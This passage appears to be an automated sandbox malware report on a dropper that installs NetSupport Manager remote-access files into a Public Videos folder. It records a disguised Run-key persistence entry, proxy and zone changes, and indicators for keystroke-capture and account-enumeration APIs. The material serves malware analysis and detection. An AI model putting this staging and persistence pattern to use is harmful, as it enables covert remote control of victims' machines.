00000000-00001236.00000002.84690.11193000.00000002.mdmp "Software\Microsoft\Windows\CurrentVersion\Policies\System" in Source: 00000000-00001236.00000002.84690.11193000.00000002.mdmp "\Registry\Machine\SOFTWARE\Classes\NPPr675hg" in Source: 00000000-00001236.00000002.84690.11193000.00000002.mdmp "Software\Classes\VirtualStore\MACHINE\%s\%s\ConfigList" in Source: 00000000-00001236.00000002.84690.11193000.00000002.mdmp "Software\Policies\NetSupport" in Source: 00000000-00001236.00000002.84690.11193000.00000002.mdmp "Software\Policies\NetSupport\Client\Standard" in Source: 00000000-00001236.00000002.84690.11193000.00000002.mdmp "Software\Policies\NetSupport\Client" in Source: 00000000-00001236.00000002.84690.11193000.00000002.mdmp ".DEFAULT\Software\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders" in Source: 00000000-00001236.00000002.84690.11193000.00000002.mdmp "Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders" in Source: 00000000-00001236.00000002.84690.11193000.00000002.mdmp "SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\DriveIcons\%c" in Source: 00000000-00001236.00000002.84690.11193000.00000002.mdmp "Software\Microsoft\Windows\CurrentVersion\Uninstall" in Source: 00000000-00001236.00000002.84690.11193000.00000002.mdmp "Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\3" in Source: 00000000-00001236.00000002.84690.11193000.00000002.mdmp "Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\1" in Source: 00000000-00001236.00000002.84690.11193000.00000002.mdmp "SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{787DFE02-CC6C-4AAC-B455-166BBEE4C5AF}" in Source: 00000000-00001236.00000002.84690.11193000.00000002.mdmp "SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{C412F191-BB15-4e40-9CCC-97E571D2C6BF}" in Source: 00000000-00001236.00000002.84690.11193000.00000002.mdmp "SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{3F709462-4AD7-482F-8761-C6ED6AD145A1}" in Source: 00000000-00001236.00000002.84690.11193000.00000002.mdmp "Set [HKLM\%s]%s=1 (from %d)" in Source: 00000000-00001236.00000002.84690.11193000.00000002.mdmp "Software\NetSupport Ltd\Client32" in Source: 00000000-00001236.00000002.84690.11193000.00000002.mdmp "SYSTEM\CurrentControlSet\Hardware Profiles\Current\System\CurrentControlSet" in Source: 00000000-00001236.00000002.84690.11193000.00000002.mdmp "SYSTEM\CurrentControlSet\Control\Print\Monitors\Standard TCP/IP Port\Ports" in Source: 00000000-00001236.00000002.84690.11193000.00000002.mdmp "SYSTEM\CurrentControlSet\Control\Print\Monitors\Standard TCP/IP Port\Ports\" in Source: 00000000-00001236.00000002.84690.11193000.00000002.mdmp "SYSTEM\CurrentControlSet\Control\Power\User\PowerSchemes\%s\245d8541-3943-4422-b025-13a784f679b7" in Source: 00000000-00001236.00000002.84690.11193000.00000002.mdmp "SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders" in Source: 00000000-00001236.00000002.84690.11193000.00000002.mdmp "\Registry\Machine\SOFTWARE\Classes\N%x.%s" in Source: 00000000-00001236.00000002.84690.11193000.00000002.mdmp "\Registry\Machine\SOFTWARE\Classes\N%x" in Source: 00000000-00001236.00000002.84690.11193000.00000002.mdmp "System\CurrentControlSet\Control\GraphicsDrivers\DCI" in Source: 00000000-00001236.00000002.84690.11193000.00000002.mdmp "Software\Microsoft\Internet Explorer\Main" in Source: 00000000-00001236.00000002.84690.11193000.00000002.mdmp "Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced" in Source: 00000000-00001236.00000002.84690.11193000.00000002.mdmp "System\CurrentControlSet\Control\ProductOptions" in Source: 00000000-00001236.00000002.84690.11193000.00000002.mdmp "Software\NSL" in Source: 00000000-00001236.00000002.84690.11193000.00000002.mdmp "SOFTWARE\RM\Connect" in Source: 00000000-00001236.00000002.84690.11193000.00000002.mdmp "SOFTWARE\Research Machines\Network Management\Location Chooser" in Source: 00000000-00001236.00000002.84690.11193000.00000002.mdmp "SOFTWARE\NetSupport Ltd\PCICTL" in Source: 00000000-00001236.00000002.84690.11193000.00000002.mdmp "SOFTWARE\Productive Computer Insight\PCICTL" in Source: 00000000-00001236.00000002.84690.11193000.00000002.mdmp "Software\Microsoft\Windows NT\CurrentVersion\FontSubstitutes" in Source: 00000000-00001236.00000002.84690.11193000.00000002.mdmp "Software\Productive Computer Insight" in Source: 00000000-00001236.00000002.84690.111E1000.00000004.mdmp "Software\NetSupport Ltd" in Source: 00000000-00001236.00000002.84690.111E1000.00000004.mdmp "System\CurrentControlSet\Services\Winsock\Autodial" in Source: 00000000-00001236.00000002.84690.111E1000.00000004.mdmp "\Registry\Machine\System\CurrentControlSet\Control\Nls\ExtendedLocale" in Source: 00000000-00006116.00000000.80349.00157000.00000004.mdmp "SOFTWARE\Microsoft\Windows NT\CurrentVersion\AppCompatFlags\CaretTracking" in Source: 00000000-00006116.00000000.80349.6D4B1000.00000020.mdmp "\Registry\Machine\System\CurrentControlSet\Control\Nls\ExtendedLocale" in Source: 00000000-00006116.00000001.80520.00157000.00000004.mdmp "Software\Microsoft\Windows\CurrentVersion" in Source: 00000000-00006116.00000001.80520.01320000.00000002.mdmp "Software\WinRAR SFX" in Source: 00000000-00006116.00000001.80520.01320000.00000002.mdmp5d:T451,Observed system executable string:"%WINDIR%\system32\dwmapi.dll" [Source: 00000000-00006116-00000C2B-252699644] Observed system executable string:"%WINDIR%\system32\cryptbase.dll" [Source: 00000000-00006116-00000C2B-252798114] Observed system executable string:"%WINDIR%\system32\riched20.dll" [Source: 00000000-00006116-00000C2B-252871133] Observed system executable string:"%WINDIR%\system32\uxtheme.dll" [Source: 00000000-00006116-00000C2B-253006756] Observed system executable string:"%WINDIR%\WinSxS\x86_microsoft.windows.gdiplus_6595b64144ccf1df_1.1.7601.23894_none_5c0be957a009922e\gdiplus.dll" [Source: 00000000-00006116-00000C2B-253346763] Observed system executable string:"%WINDIR%\system32\shell32.dll" [Source: 00000000-00006116-00000C2B-255020718] Observed system executable string:"%WINDIR%\system32\ole32.dll" [Source: 00000000-00006116-00000C2B-255307119] Observed system executable string:"%WINDIR%\system32\MSCTF.dll" [Source: 00000000-00006116-00000C2B-255482929] Observed system executable string:"%WINDIR%\system32\gdihook5.dll" [Source: 00000000-00001236-00000C2B-266634572]5e:T1217,file/memory contains long string with (Indicator: " connect "; File: "HTCTL32.DLL") file/memory contains long string with (Indicator: "wsastartup"; File: "HTCTL32.DLL") file/memory contains long string with (Indicator: "wsacleanup"; File: "HTCTL32.DLL") file/memory contains long string with (Indicator: " send "; File: "HTCTL32.DLL") file/memory contains long string with (Indicator: " recv "; File: "HTCTL32.DLL") Found reference to API "gethostname" (Indicator: "gethostname"; File: "33b22fce68d5d7bd08e86b8506c50bdfcd38c26db5983864e8d33bdf62f53272") Found reference to API "WSAGetLastError" (Indicator: "wsagetlasterror"; File: "33b22fce68d5d7bd08e86b8506c50bdfcd38c26db5983864e8d33bdf62f53272") Found reference to API "WSACleanup" (Indicator: "wsacleanup"; File: "33b22fce68d5d7bd08e86b8506c50bdfcd38c26db5983864e8d33bdf62f53272") Found reference to API "WSAStartup" (Indicator: "wsastartup"; File: "33b22fce68d5d7bd08e86b8506c50bdfcd38c26db5983864e8d33bdf62f53272") Found reference to API "inet_ntoa" (Indicator: "inet_ntoa"; File: "33b22fce68d5d7bd08e86b8506c50bdfcd38c26db5983864e8d33bdf62f53272") Found reference to API "inet_addr" (Indicator: "inet_addr"; File: "33b22fce68d5d7bd08e86b8506c50bdfcd38c26db5983864e8d33bdf62f53272") Found reference to API "gethostbyname" (Indicator: "gethostbyname"; File: "33b22fce68d5d7bd08e86b8506c50bdfcd38c26db5983864e8d33bdf62f53272") Found reference to API "__WSAFDIsSet" (Indicator: "__wsafdisset"; File: "33b22fce68d5d7bd08e86b8506c50bdfcd38c26db5983864e8d33bdf62f53272") Found reference to API "AUTHUI.DLL: Shutdown Choices Message Window" (Indicator: " shutdown "; Source: "00000000-00001236.00000000.80845.009F0000.00000002.mdmp, 00000000-00001236.00000001.82769.009F0000.00000002.mdmp, 00000000-00001236.00000002.84690.009F0000.00000002.mdmp") Found reference to API "Select a Control to send this Help Request to now. If you don't send it now it will be sent to the next Control that Connects." (Indicator: " send "; Source: "00000000-00001236.00000000.80845.111F6000.00000002.mdmp") Found reference to API "Please enter the hostname or IP address of the Control you want to connect to." (Indicator: " connect "; Source: "00000000-00001236.00000000.80845.111F6000.00000002.mdmp") Found reference to API "Auto Send Long Message" (Indicator: " send "; Source: "00000000-00001236.00000000.80845.111F6000.00000002.mdmp") Found reference to API "Could not connect to PIN server" (Indicator: " connect "; Source: "00000000-00001236.00000000.80845.111F6000.00000002.mdmp") Found reference to API "Your keyboard and mouse will be disabled. Click Accept to allow this or Reject to deny it.dUser %s wishes to View your machine in Share mode." (Indicator: " accept "; Source: "00000000-00001236.00000000.80845.111F6000.00000002.mdmp") Found reference to API "Click Accept to allow this or Reject to deny it." (Indicator: " accept "; Source: "00000000-00001236.00000000.80845.111F6000.00000002.mdmp") Found reference to API "Without supplying the correct password you can only send a message to this Client." (Indicator: " send "; Source: "00000000-00001236.00000000.80845.111F6000.00000002.mdmp") Found reference to API "Exchange 2KByte bufferFConnection speed tests skipped, incorrectly formatted connect message." (Indicator: " connect "; Source: "00000000-00001236.00000000.80845.111F6000.00000002.mdmp") Found reference to API "Retry test?4Unable to send 2KByte buffer to Bridge." (Indicator: " send "; Source: "00000000-00001236.00000000.80845.111F6000.00000002.mdmp") Found reference to API "Initialising...&Cannot connect to more than %d Clients" (Indicator: " connect "; Source: "00000000-00001236.00000000.80845.111F6000.00000002.mdmp") Found reference to API "Do you wish to connect to the Client using DES encryption instead?W" (Indicator: " connect "; Source: "00000000-00001236.00000000.80845.111F6000.00000002.mdmp") file/memory contains long string with (Indicator: " connect "; Source: "00000000-00001236.00000000.80845.111F6000.00000002.mdmp") Found reference to API "(Not responding)PClient %s cannot receive a Broadcast Show. It needs upgrading to a later version'%s cannot send an announcement to %s %s+while you are sending an announcement to it" (Indicator: " send "; Source: "00000000-00001236.00000000.80845.111F6000.00000002.mdmp") Found reference to API "Sessionz %dz #%u Recv %-4u bytes %s" (Indicator: " recv "; Source: "00000000-00001236.00000001.82769.6ADD0000.00000002.mdmp") Found reference to API "Error send returned 0 on connection %d" (Indicator: " send "; Source: "00000000-00001236.00000001.82769.6ADD0000.00000002.mdmp")5f:T47d,Found string "B+ncalrpc:[OLE29D012D8530846CCA20FC6EC7463]" (Indicator: "ncalrpc"; Source: "00000000-00001236.00000000.80845.00300000.00000004.mdmp") Found string "9ncalrpc:[epmapper,Security=Impersonation Dynamic False]" (Indicator: "ncalrpc"; Source: "00000000-00001236.00000000.80845.00300000.00000004.mdmp") Found string "I+ncalrpc:[OLE25F4B77AF77A44CF82FCA1A18D06]" (Indicator: "ncalrpc"; Source: "00000000-00001236.00000001.82769.00300000.00000004.mdmp, 00000000-00001236.00000002.84690.00300000.00000004.mdmp") Found string "ncalrpc:[epmapper,Security=Impersonation Dynamic False]" (Indicator: "ncalrpc"; Source: "00000000-00001236.00000001.82769.00300000.00000004.mdmp, 00000000-00001236.00000002.84690.00300000.00000004.mdmp") Found string "+ncalrpc:[OLE43C32555A3A74C8E9D74173DB7CF]" (Indicator: "ncalrpc"; Source: "00000000-00001236.00000001.82769.00300000.00000004.mdmp, 00000000-00001236.00000002.84690.00300000.00000004.mdmp") Found string "+ncalrpc:[OLEDA1B3642A5414C75B743B2B47421]" (Indicator: "ncalrpc"; Source: "00000000-00001236.00000001.82769.00300000.00000004.mdmp, 00000000-00001236.00000002.84690.00300000.00000004.mdmp")60:T470,Found reference to API "AttachThreadInput" (Indicator: "AttachThreadInput"; File: "33b22fce68d5d7bd08e86b8506c50bdfcd38c26db5983864e8d33bdf62f53272") Found reference to API "MapVirtualKeyA" (Indicator: "MapVirtualKey"; File: "33b22fce68d5d7bd08e86b8506c50bdfcd38c26db5983864e8d33bdf62f53272") Found reference to API "GetKeyState" (Indicator: "GetKeyState"; File: "33b22fce68d5d7bd08e86b8506c50bdfcd38c26db5983864e8d33bdf62f53272") Found reference to API "GetAsyncKeyState" (Indicator: "GetAsyncKeyState"; File: "33b22fce68d5d7bd08e86b8506c50bdfcd38c26db5983864e8d33bdf62f53272") Found reference to API "GetKeyState" (Indicator: "GetKeyState"; Source: "00000000-00001236.00000002.84690.11193000.00000002.mdmp") Found reference to API "AttachThreadInput" (Indicator: "AttachThreadInput"; Source: "00000000-00001236.00000002.84690.11193000.00000002.mdmp") Found reference to API "MapVirtualKeyA" (Indicator: "MapVirtualKey"; Source: "00000000-00001236.00000002.84690.11193000.00000002.mdmp") Found reference to API "GetAsyncKeyState" (Indicator: "GetAsyncKeyState"; Source: "00000000-00001236.00000002.84690.11193000.00000002.mdmp")61:T10d5,Found reference to API "GetTokenInformation" (Indicator: "GetTokenInformation"; File: "33b22fce68d5d7bd08e86b8506c50bdfcd38c26db5983864e8d33bdf62f53272") Found reference to API "GetUserNameA" (Indicator: "GetUserName"; File: "33b22fce68d5d7bd08e86b8506c50bdfcd38c26db5983864e8d33bdf62f53272") Found reference to API "GetUserNameW" (Indicator: "GetUserName"; File: "33b22fce68d5d7bd08e86b8506c50bdfcd38c26db5983864e8d33bdf62f53272") Found reference to API "LookupAccountSidA" (Indicator: "LookupAccountSid"; File: "33b22fce68d5d7bd08e86b8506c50bdfcd38c26db5983864e8d33bdf62f53272") Found reference to API "NetUserEnum" (Indicator: "NetUserEnum"; File: "33b22fce68d5d7bd08e86b8506c50bdfcd38c26db5983864e8d33bdf62f53272") Found reference to API "GetUserObjectSecurity" (Indicator: "GetUserObjectSecurity"; File: "33b22fce68d5d7bd08e86b8506c50bdfcd38c26db5983864e8d33bdf62f53272") Found reference to API "GetProcessWindowStation" (Indicator: "GetProcessWindowStation"; File: "33b22fce68d5d7bd08e86b8506c50bdfcd38c26db5983864e8d33bdf62f53272") Found reference to API "GetUserObjectInformationA" (Indicator: "GetUserObjectInformation"; File: "33b22fce68d5d7bd08e86b8506c50bdfcd38c26db5983864e8d33bdf62f53272") Found reference to API "GetProcessWindowStation" (Indicator: "GetProcessWindowStation"; Source: "00000000-00001236.00000001.82769.6A751000.00000020.mdmp, 00000000-00001236.00000001.82769.6ADD0000.00000002.mdmp, 00000000-00001236.00000002.84690.11193000.00000002.mdmp") Found reference to API "GetUserObjectInformationW" (Indicator: "GetUserObjectInformation"; Source: "00000000-00001236.00000001.82769.6A751000.00000020.mdmp, 00000000-00001236.00000001.82769.6ADD0000.00000002.mdmp, 00000000-00001236.00000002.84690.11193000.00000002.mdmp") Found reference to API "GetUserObjectInformationA" (Indicator: "GetUserObjectInformation"; Source: "00000000-00001236.00000001.82769.6A751000.00000020.mdmp, 00000000-00001236.00000002.84690.11193000.00000002.mdmp") Found reference to API "GetUserNameA" (Indicator: "GetUserName"; Source: "00000000-00001236.00000001.82769.6ADD0000.00000002.mdmp, 00000000-00001236.00000002.84690.11193000.00000002.mdmp") Found reference to API "GetTokenInformation" (Indicator: "GetTokenInformation"; Source: "00000000-00001236.00000001.82769.6ADD0000.00000002.mdmp, 00000000-00001236.00000001.82769.6C945000.00000002.mdmp, 00000000-00001236.00000002.84690.11193000.00000002.mdmp") Found reference to API "WTSQuerySessionInformationA" (Indicator: "WTSQuerySessionInformation"; Source: "00000000-00001236.00000002.84690.11193000.00000002.mdmp") Found reference to API "NetWkstaGetInfo" (Indicator: "NetWkstaGetInfo"; Source: "00000000-00001236.00000002.84690.11193000.00000002.mdmp") Found reference to API "NSMPlatform95::GetLoggedOnUserName - GetUserName returned %d" (Indicator: "GetUserName"; Source: "00000000-00001236.00000002.84690.11193000.00000002.mdmp") Found reference to API "WTSQueryUserToken" (Indicator: "WTSQueryUserToken"; Source: "00000000-00001236.00000002.84690.11193000.00000002.mdmp") Found reference to API "Warning. WTSQuerySessionInformation(%d) failed - not launching client, e=%d" (Indicator: "WTSQuerySessionInformation"; Source: "00000000-00001236.00000002.84690.11193000.00000002.mdmp") Found reference to API "GetUserNameEx ret %d, %s, time=%d ms, e=%d" (Indicator: "GetUserName"; Source: "00000000-00001236.00000002.84690.11193000.00000002.mdmp") Found reference to API "GetUserNameExA" (Indicator: "GetUserName"; Source: "00000000-00001236.00000002.84690.11193000.00000002.mdmp") Found reference to API "NetUserGetInfo(%ls\%ls) took %d ms and ret x%x" (Indicator: "NetUserGetInfo"; Source: "00000000-00001236.00000002.84690.11193000.00000002.mdmp") Found reference to API "NetUserGetInfo" (Indicator: "NetUserGetInfo"; Source: "00000000-00001236.00000002.84690.11193000.00000002.mdmp") Found reference to API "NetWkstaUserGetInfo" (Indicator: "NetWkstaUserGetInfo"; Source: "00000000-00001236.00000002.84690.11193000.00000002.mdmp") Found reference to API "GetUserObjectSecurity" (Indicator: "GetUserObjectSecurity"; Source: "00000000-00001236.00000002.84690.11193000.00000002.mdmp") Found reference to API "LookupAccountSidA" (Indicator: "LookupAccountSid"; Source: "00000000-00001236.00000002.84690.11193000.00000002.mdmp")62:T1036,"33b22fce68d5d7bd08e86b8506c50bdfcd38c26db5983864e8d33bdf62f53272.exe" called "FindFirstFileW" with parameter C:\33b22fce68d5d7bd08e86b8506c50bdfcd38c26db5983864e8d33bdf62f53272.exe (UID: 00000000-00006116) "33b22fce68d5d7bd08e86b8506c50bdfcd38c26db5983864e8d33bdf62f53272.exe" called "FindFirstFileW" with parameter netsup.bat (UID: 00000000-00006116) "33b22fce68d5d7bd08e86b8506c50bdfcd38c26db5983864e8d33bdf62f53272.exe" called "FindFirstFileW" with parameter \\?\%PUBLIC%\Public\Videos\Video\netsup.bat (UID: 00000000-00006116) "33b22fce68d5d7bd08e86b8506c50bdfcd38c26db5983864e8d33bdf62f53272.exe" called "FindFirstFileW" with parameter nskbfltr.inf (UID: 00000000-00006116) "33b22fce68d5d7bd08e86b8506c50bdfcd38c26db5983864e8d33bdf62f53272.exe" called "FindFirstFileW" with parameter \\?\%PUBLIC%\Public\Videos\Video\nskbfltr.inf (UID: 00000000-00006116) "33b22fce68d5d7bd08e86b8506c50bdfcd38c26db5983864e8d33bdf62f53272.exe" called "FindFirstFileW" with parameter NSM.LIC (UID: 00000000-00006116) "33b22fce68d5d7bd08e86b8506c50bdfcd38c26db5983864e8d33bdf62f53272.exe" called "FindFirstFileW" with parameter \\?\%PUBLIC%\Public\Videos\Video\NSM.LIC (UID: 00000000-00006116) "33b22fce68d5d7bd08e86b8506c50bdfcd38c26db5983864e8d33bdf62f53272.exe" called "FindFirstFileW" with parameter pcicapi.dll (UID: 00000000-00006116) "33b22fce68d5d7bd08e86b8506c50bdfcd38c26db5983864e8d33bdf62f53272.exe" called "FindFirstFileW" with parameter \\?\%PUBLIC%\Public\Videos\Video\pcicapi.dll (UID: 00000000-00006116) "33b22fce68d5d7bd08e86b8506c50bdfcd38c26db5983864e8d33bdf62f53272.exe" called "FindFirstFileW" with parameter PCICHEK.DLL (UID: 00000000-00006116) "33b22fce68d5d7bd08e86b8506c50bdfcd38c26db5983864e8d33bdf62f53272.exe" called "FindFirstFileW" with parameter \\?\%PUBLIC%\Public\Videos\Video\PCICHEK.DLL (UID: 00000000-00006116) "33b22fce68d5d7bd08e86b8506c50bdfcd38c26db5983864e8d33bdf62f53272.exe" called "FindFirstFileW" with parameter PCICL32.DLL (UID: 00000000-00006116) "33b22fce68d5d7bd08e86b8506c50bdfcd38c26db5983864e8d33bdf62f53272.exe" called "FindFirstFileW" with parameter \\?\%PUBLIC%\Public\Videos\Video\PCICL32.DLL (UID: 00000000-00006116) "33b22fce68d5d7bd08e86b8506c50bdfcd38c26db5983864e8d33bdf62f53272.exe" called "FindFirstFileW" with parameter remcmdstub.exe (UID: 00000000-00006116) "33b22fce68d5d7bd08e86b8506c50bdfcd38c26db5983864e8d33bdf62f53272.exe" called "FindFirstFileW" with parameter \\?\%PUBLIC%\Public\Videos\Video\remcmdstub.exe (UID: 00000000-00006116) "33b22fce68d5d7bd08e86b8506c50bdfcd38c26db5983864e8d33bdf62f53272.exe" called "FindFirstFileW" with parameter TCCTL32.DLL (UID: 00000000-00006116) "33b22fce68d5d7bd08e86b8506c50bdfcd38c26db5983864e8d33bdf62f53272.exe" called "FindFirstFileW" with parameter \\?\%PUBLIC%\Public\Videos\Video\TCCTL32.DLL (UID: 00000000-00006116) "33b22fce68d5d7bd08e86b8506c50bdfcd38c26db5983864e8d33bdf62f53272.exe" called "FindFirstFileW" with parameter bild.exe (UID: 00000000-00006116) "33b22fce68d5d7bd08e86b8506c50bdfcd38c26db5983864e8d33bdf62f53272.exe" called "FindFirstFileW" with parameter \\?\%PUBLIC%\Public\Videos\Video\bild.exe (UID: 00000000-00006116) "33b22fce68d5d7bd08e86b8506c50bdfcd38c26db5983864e8d33bdf62f53272.exe" called "FindFirstFileW" with parameter client32.ini (UID: 00000000-00006116) "33b22fce68d5d7bd08e86b8506c50bdfcd38c26db5983864e8d33bdf62f53272.exe" called "FindFirstFileW" with parameter \\?\%PUBLIC%\Public\Videos\Video\client32.ini (UID: 00000000-00006116) "33b22fce68d5d7bd08e86b8506c50bdfcd38c26db5983864e8d33bdf62f53272.exe" called "FindFirstFileW" with parameter HTCTL32.DLL (UID: 00000000-00006116) "33b22fce68d5d7bd08e86b8506c50bdfcd38c26db5983864e8d33bdf62f53272.exe" called "FindFirstFileW" with parameter \\?\%PUBLIC%\Public\Videos\Video\HTCTL32.DLL (UID: 00000000-00006116) "33b22fce68d5d7bd08e86b8506c50bdfcd38c26db5983864e8d33bdf62f53272.exe" called "FindFirstFileW" with parameter msvcr100.dll (UID: 00000000-00006116) "33b22fce68d5d7bd08e86b8506c50bdfcd38c26db5983864e8d33bdf62f53272.exe" called "FindFirstFileW" with parameter \\?\%PUBLIC%\Public\Videos\Video\msvcr100.dll (UID: 00000000-00006116)63:Td73,"33b22fce68d5d7bd08e86b8506c50bdfcd38c26db5983864e8d33bdf62f53272.exe" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\INTERNET SETTINGS\ZONEMAP"; Key: "UNCASINTRANET"; Value: "0000000000") "33b22fce68d5d7bd08e86b8506c50bdfcd38c26db5983864e8d33bdf62f53272.exe" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\INTERNET SETTINGS\ZONEMAP"; Key: "AUTODETECT"; Value: "0100000000") "reg.exe" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\RUN"; Key: "NETSTAT"; Value: "%PUBLIC%\Public\Videos\Video\bild.exe") "bild.exe" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\INTERNET SETTINGS"; Key: "PROXYENABLE"; Value: "0000000000") "bild.exe" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\INTERNET SETTINGS\CONNECTIONS"; Key: "SAVEDLEGACYSETTINGS"; Value: "460000000E0200000900000000000000000000000000000004000000000000003071E4E2286CD3010000000000000000000000000100000002000000C0A8F1FC00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000") "bild.exe" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\INTERNET SETTINGS\ZONEMAP"; Key: "UNCASINTRANET"; Value: "0000000000") "bild.exe" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\INTERNET SETTINGS\ZONEMAP"; Key: "AUTODETECT"; Value: "0100000000") "bild.exe" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\INTERNET SETTINGS\5.0\CACHE\CONTENT"; Key: "CACHEPREFIX"; Value: "000000") "bild.exe" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\INTERNET SETTINGS\5.0\CACHE\COOKIES"; Key: "CACHEPREFIX"; Value: "Cookie:") "bild.exe" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\INTERNET SETTINGS\5.0\CACHE\HISTORY"; Key: "CACHEPREFIX"; Value: "Visited:") "bild.exe" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\INTERNET SETTINGS\WPAD\{3D5D4A71-6133-47B5-83B7-33D6AA05DD56}"; Key: "WPADDECISIONREASON"; Value: "0100000000") "bild.exe" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\INTERNET SETTINGS\WPAD\{3D5D4A71-6133-47B5-83B7-33D6AA05DD56}"; Key: "WPADDECISIONTIME"; Value: "86888E262F32DD0100") "bild.exe" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\INTERNET SETTINGS\WPAD\{3D5D4A71-6133-47B5-83B7-33D6AA05DD56}"; Key: "WPADDECISION"; Value: "0000000000") "bild.exe" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\INTERNET SETTINGS\WPAD\{3D5D4A71-6133-47B5-83B7-33D6AA05DD56}"; Key: "WPADNETWORKNAME"; Value: "Network 8") "bild.exe" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\INTERNET SETTINGS\WPAD\00-50-56-91-D8-A3"; Key: "WPADDECISIONREASON"; Value: "0100000000") "bild.exe" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\INTERNET SETTINGS\WPAD\00-50-56-91-D8-A3"; Key: "WPADDECISIONTIME"; Value: "86888E262F32DD0100") "bild.exe" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\INTERNET SETTINGS\WPAD\00-50-56-91-D8-A3"; Key: "WPADDECISION"; Value: "0000000000")64:Tdc8,Found string "SetDllDirectoryW" (Source: 33b22fce68d5d7bd08e86b8506c50bdfcd38c26db5983864e8d33bdf62f53272, API is part of module: KERNEL32.DLL) Found string "SetDefaultDllDirectories" (Source: 33b22fce68d5d7bd08e86b8506c50bdfcd38c26db5983864e8d33bdf62f53272, API is part of module: KERNELBASE.DLL) Found string "FlsAlloc" (Source: 33b22fce68d5d7bd08e86b8506c50bdfcd38c26db5983864e8d33bdf62f53272, API is part of module: KERNELBASE.DLL) Found string "FlsFree" (Source: 33b22fce68d5d7bd08e86b8506c50bdfcd38c26db5983864e8d33bdf62f53272, API is part of module: KERNELBASE.DLL) Found string "FlsGetValue" (Source: 33b22fce68d5d7bd08e86b8506c50bdfcd38c26db5983864e8d33bdf62f53272, API is part of module: KERNELBASE.DLL) Found string "FlsSetValue" (Source: 33b22fce68d5d7bd08e86b8506c50bdfcd38c26db5983864e8d33bdf62f53272, API is part of module: KERNELBASE.DLL) Found string "InitializeCriticalSectionEx" (Source: 33b22fce68d5d7bd08e86b8506c50bdfcd38c26db5983864e8d33bdf62f53272, API is part of module: KERNELBASE.DLL) Found string "LCMapStringEx" (Source: 33b22fce68d5d7bd08e86b8506c50bdfcd38c26db5983864e8d33bdf62f53272, API is part of module: KERNELBASE.DLL) Found string "LocaleNameToLCID" (Source: 33b22fce68d5d7bd08e86b8506c50bdfcd38c26db5983864e8d33bdf62f53272, API is part of module: KERNELBASE.DLL) Found string "log10" (Source: 33b22fce68d5d7bd08e86b8506c50bdfcd38c26db5983864e8d33bdf62f53272, API is part of module: UCRTBASE.DLL) Found string "atan2" (Source: 33b22fce68d5d7bd08e86b8506c50bdfcd38c26db5983864e8d33bdf62f53272, API is part of module: UCRTBASE.DLL) Found string "floor" (Source: 33b22fce68d5d7bd08e86b8506c50bdfcd38c26db5983864e8d33bdf62f53272, API is part of module: UCRTBASE.DLL) Found string "ldexp" (Source: 33b22fce68d5d7bd08e86b8506c50bdfcd38c26db5983864e8d33bdf62f53272, API is part of module: UCRTBASE.DLL) Found string "frexp" (Source: 33b22fce68d5d7bd08e86b8506c50bdfcd38c26db5983864e8d33bdf62f53272, API is part of module: UCRTBASE.DLL) Found string "SetWindowTextW" (Source: 33b22fce68d5d7bd08e86b8506c50bdfcd38c26db5983864e8d33bdf62f53272, API is part of module: USER32.DLL) Found string "GetWindowTextW" (Source: 33b22fce68d5d7bd08e86b8506c50bdfcd38c26db5983864e8d33bdf62f53272, API is part of module: USER32.DLL) Found string "GetWindowLongW" (Source: 33b22fce68d5d7bd08e86b8506c50bdfcd38c26db5983864e8d33bdf62f53272, API is part of module: USER32.DLL) Found string "SetWindowLongW" (Source: 33b22fce68d5d7bd08e86b8506c50bdfcd38c26db5983864e8d33bdf62f53272, API is part of module: USER32.DLL) Found string "SetProcessDefaultLayout" (Source: 33b22fce68d5d7bd08e86b8506c50bdfcd38c26db5983864e8d33bdf62f53272, API is part of module: USER32.DLL) Found string "LoadStringW" (Source: 33b22fce68d5d7bd08e86b8506c50bdfcd38c26db5983864e8d33bdf62f53272, API is part of module: USER32.DLL) Found string "CharUpperW" (Source: 33b22fce68d5d7bd08e86b8506c50bdfcd38c26db5983864e8d33bdf62f53272, API is part of module: USER32.DLL) Found string "GetMessageW" (Source: 33b22fce68d5d7bd08e86b8506c50bdfcd38c26db5983864e8d33bdf62f53272, API is part of module: USER32.DLL) Found string 